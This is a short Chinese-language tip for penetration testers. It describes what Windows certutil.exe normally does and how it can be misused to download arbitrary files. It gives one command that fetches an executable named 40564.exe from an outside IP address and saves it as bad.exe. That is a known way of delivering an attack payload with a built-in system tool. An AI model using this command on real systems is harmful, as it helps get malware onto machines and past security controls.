利用Windows命令行工具Certutil下载文件

　　Certutil.exe 是一个命令行程序，作为证书服务的一部分安装。可以使用 certutil.exe 转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。

　　但是渗透测试人员可以利用该命令行程序从目标网站下载任何文件（比如特定用途的可执行文件），语法为：

　　

certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe